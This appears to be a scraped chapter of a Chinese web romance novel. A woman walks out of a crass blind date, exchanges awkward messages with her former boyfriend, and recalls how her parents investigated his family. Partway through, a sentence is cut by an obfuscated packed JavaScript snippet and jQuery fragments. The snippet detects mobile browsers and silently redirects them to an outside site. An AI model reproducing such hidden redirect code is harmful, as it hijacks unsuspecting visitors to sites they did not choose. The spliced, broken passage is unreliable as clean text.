25. 第 25 章

作品:《被前任设成紧急联系人

    鼓楼东大街附近有家胡同咖啡馆,名字很特别,叫“你来晚了”。


    阿然订了顶楼露台的位置,初秋的空气干爽微凉,空气中时不时飘来一阵桂花香。


    许天殊到时,男方还没到。她先点了杯桂花拿铁,坐在预定好的位置看风景。天色瓦蓝,抬头望过去,胡同里高高低低的瓦房错落有序,阳光撒下来像一层薄薄的蜜,将泛旧的青灰屋脊线染成浅金色。


    胡同拐角处有株老槐树,树干笔直粗壮向四处伸展,枝叶已过了盛夏的浓密,细长的叶子边缘泛着黄意,偶尔有几片打着旋慢悠悠地落到瓦缝上。


    许天殊望着屋顶上的黄叶发呆,忽然很好奇,岑奕岩现在在做什么。


    说起来这事都怪他,要不是他那天忽然出现,分散了自己的心思,她也不至于冒然答应来相亲。


    所以他到底有没听到自己和阿然的谈话?


    如果知道她要来相亲,他不应该有点反应吗,熊邺不过是接个电话,他就冲动到撞人家的车,这明显是吃醋的意思吧…还是说他单纯不喜欢熊邺这个人,其实撞车的事和自己没关系?


    许天殊发现自己越来越看不懂岑奕岩了,不知道是当局者迷,还是对方进化得世故老练,心思深沉,让人捉摸不透。


    他们本就不是普通的同事关系,现在又多了层微妙的暧昧,之后的相处该进还是退,许天殊一时拿不定主意。


    她说服不了自己更主动一点,首先父母那关就过不去;其次,谁知道岑奕岩是不是真心想复合,如果他只是抱着玩玩的心态,那她的一厢情愿岂不是很可笑;最后,刘斐说得很对,工作和私事要分开,她不想让私人情感影响到工作……


    许天殊正想得入神,被对面的男士打断思绪:“您好,请问是许天殊女士吗?”


    抬头一看,是位精致讲究的男士,灰蓝色羊毛混纺外套,内搭POLO衫,梳着一丝不苟的大背头,鼻梁上架了副金属细边眼镜。这风格莫名让人联想到某些金融男博主,也是这幅打扮……


    她愣了几秒才点头:“你是阿然介绍的?”


    “梁开勉”,对方报上姓名,刚一坐下,忽然来了一句:“你26了?不像,看起来比同龄人有活力。”


    二十六很老?这话让许天殊不适,不轻不重地回了句:“你看起来倒是蛮成熟的,有三十五六了吧?”


    梁开勉自信一笑:“不对,给你个机会,猜一猜。”


    这人听不懂好赖话啊,许天殊在心里默默翻了个白眼,端起咖啡抿了一口,没接话。


    梁开勉倒不介意,主动自我介绍起来,语气带点炫耀似的轻松:“我今年二十七,本地人,皇城根长大的孩子,从事投资行业……”


    说到这儿,他顿了顿,像是故意吊着话头,在等许天殊问细节。


    许天殊却只是“嗯”了一声,没抬头,看着杯壁沾着的几颗干桂花出神。


    梁开勉显然没打算放过展示自己的机会,自顾自地讲了一通项目操盘经历,说完见她反应冷淡,他脸上有点挂不住了,不过语气仍夹着笑意:“你挺特别的,和我以前见过的女生不一样。”


    许天殊这才看向他,认真问:“哪儿不一样?”


    他往她身上扫了一圈,眼神带点思考和审度的意味:“往常我一聊自己的工作,别的女孩甭管懂不懂,都会追问点细节,你不问,挺难得的。”


    许天殊笑了,半开玩笑地说:“我只是觉得试探挺让人反感的,容易引发误会。比如你能分清一个女生是对你感兴趣,还是对你的职业感兴趣吗?”


    她说“职业”的时候,举起双手做了个打引号的手势。


    梁开勉笑了,趁机问道:“咱先别管其他人,我比较好奇,你对什么感兴趣?”


    许天殊往后靠了靠,轻轻一笑:“非要说一个的话,我觉得是人品。”


    她说的是人品,梁开勉却自动忽略了后面的“品”字,语气抬高了几分:“巧了,我也是。说白了,两个人有没有戏,其实见面第一眼的身体反应就知道。”


    许天殊眉头动了一下,反问:“身体反应?”


    “有点直白哈,其实话糙理不糙,就那意思。”


    许天殊莫名犯恶心,端起咖啡放到鼻子前顿了顿,没喝。她放回杯子时下手有点重,里面溅起一层奶沫,在杯口晃了晃。


    看着浅棕色的奶沫消下去,她忽然问:“那你对我什么反应?”


    梁开勉一下愣住,有点没跟上她的节奏,片刻后才笑道:“既然你问了,我也不藏着掖着,反正都是成年人,奔着正经找对象去的。”


    他朝前坐了坐,放低声音:“我对你挺有感觉的”。


    许天殊往后一靠,客气地笑道:“可惜了,我对你没感觉,那也别浪费时间了,祝你下回相亲顺利。”


    说完拎起包,干脆利落地起身离开。


    第一次被人温柔开撕,梁开勉不怒反笑,回头看了眼许天殊的背影,心想这姑娘挺带劲的。


    许天殊出了咖啡馆,给阿然发消息,报告相亲结果:“死男人只想干那种事,真下头!”


    “怎么回事,你们现在在哪呢?”


    “已经结束,我回家了”。


    阿然打来电话问具体情形,许天殊挑重点讲了一遍。听完阿然无可奈何,赔礼道歉道:“亲爱的别生气啦,下回我再给你介绍一个,人品包好的。”


    “算啦,我现在不着急着找,你还是安抚客户去吧。”


    “好,回头再聊。”


    许天殊挂掉电话,打开微信,看到岑奕岩半个小时发来消息。她有些惊讶,点开对话框,是份加了批注的会议总结,后面跟了一句:“你哪天回?”


    “什么哪天回?”问得没头没尾的,让人莫名其妙。


    “不是去杭州么,哪天回来?”


    “周三四的样子,我还没订票”。


    隔了大概有一分钟,岑奕岩没回话,许天殊补了句:“怎么,有事吗?”


    “这个月不是还没1V1交流么,回来说一声,我去接你。”


    看到1V1三个字,许天殊脸唰的一下红了,好在周围没熟人,她抬头看着胡同里的小巷子,忽然分不清去地铁站的方向了。打开地图导航,到了地铁站,才回了个:“再说吧”。


    岑奕岩没说话了,直到晚上,许天殊登录播客账号后台,发现一个眼熟的ID:岑奕岩,系统自带的头像,没有粉丝,只有一个关注。


    这是实名上网,不装了?


    许天殊当时忙着上传新作品,直接忽略了。隔天上了高铁,又收到岑奕岩的消息,问她有没有出发。


    看到消息,许天殊一愣,犹豫了半晌才回到:“我已经在动车上了,有事吗?”


    聊天框顶部显示“对方正在输入”,许天殊盯着那行字,看它灭了又闪,闪了又灭。到底要说什么…她攥着手机,心跟着提了起来。


    结果一分钟过去,他只发来两个字:“没事”。


    许天殊把手机扔到小桌板,动作略显粗鲁,把旁边的虞元垚吓了一跳,她下意识问到:“天殊姐,怎么了?”


    “噢,没事”,许天殊也觉得奇怪,自己怎么变得这么容易生气。她扭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964680|176054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头看窗外,动车正飞速行驶在华北平原上,平复了一会儿心情,她仍觉得气不过,拿起手机打字,问:“岩总很闲吗?”


    这次岑奕岩回得很快,却惜字如金:“嗯”。


    许天殊回呛:“太闲的话可以去公司加班(微笑表情包)”。


    很快,岑奕岩回了张照片:“放心,在加”。


    是张工作视角拍的办公桌照,电脑屏幕上黑不溜秋的爬满了代码。许天殊点开照片,发现电脑屏幕居然被打了码。呵呵,够谨慎的……


    “不用打码,我看不懂”,她发完消息就把手机塞回包里,不想和他闲扯些有的没的。


    列车停靠在站台,许天殊看到远处半空中,悬着那块标志性的蓝底白字站牌——“栾城站”。


    她盯着那几个字发了一会儿呆,思绪飘得老远。


    ***


    当年皱君萍要去栾城打探岑家底细时,许敬阳是不同意的,他觉得多此一举:“天殊提到那男孩,能说出一百样好来,她都这么说了,你还有什么不放心的。”


    “越是这样,我越担心她被骗。每次我问起对方家庭情况的时候,她都说得含含糊糊的,这里面绝对有事。再说了,这年头谁家嫁女儿不调查对方家庭的?咱就这一个孩子,不谨慎一点我不放心。”


    许敬阳只好陪她跑了这一趟。


    邹君萍早打听到岑奕岩老家大概的地址,下火车后,两人去了学校附近的小餐馆,借着点菜和老板闲聊,说来找一位姓岑的战友,只知道他有个儿子,成绩好很有出息。可惜这几年断了联系,也不知道老战友身体好不好,近况如何。


    快餐店老板热情招呼着客人,一听这话,闲聊了几句。不过他忙着去后厨炒菜,没提供什么有用的信息。


    最后结账时,是他媳妇出来收的钱,看起来更麻利机灵。皱君萍便又要了两份炒面,说带走在路上吃,借机和她攀谈起来。


    果然,老板娘对信息的敏感度更高,很快便帮着定位到了北岭岑家,加上邹君萍有意无意的引导,岑爸爸的事故就这样成了陌生人嘴里的谈资。


    回程的出租车上,邹君萍和许敬阳心里都挂着事,谁也没说一句话。到了火车站,邹君萍突然开口:“老许,把票退了,我们回家。”


    “不是要去北京,天殊还等着咱们呢。”


    “你还有心思去北京?赶紧回家,把天殊也喊回来,由着她胡闹下去,以后不晓得有多麻烦。”


    许敬阳沉思良久,才说:“咱们不拦,但得让她知道自己会面对什么。”


    当天许天殊就接到父母的电话,说许爸爸路上身体不适,他们已经折返回家了。


    挂掉电话,邹君萍仍是没忍住,给许天殊编辑了一长串消息,分析岑奕岩家庭情况有多糟糕,让她早点看清情况,别做让自己后悔的事。


    比起邹君萍的直白,许敬阳就委婉客观多了:“他父亲偏瘫,母亲早就再婚另组家庭,还有对年迈的祖父母,这些不是他的错,但现实很残酷——他是这个家里最后能扛事的人。你嫁过去,就要和他一起分担这个重担,你有认真考虑过后果吗。”


    “你现在年轻,觉得什么都能靠爱撑下去。但过日子讲的是细水长流,谈恋爱是一回事,结婚又是一回事。你和小岑,谈恋爱可以,可要进行下一步,我和你妈妈是反对的。你自己好好想一想……”


    说来说去,内容无非这些。在父母苦口婆心的长篇大论中,许妈妈说了一句话,让许天殊最终决定分手——“你要是做不了决定,我去找他。家长出面反对,他总不至于还好意思缠着你。”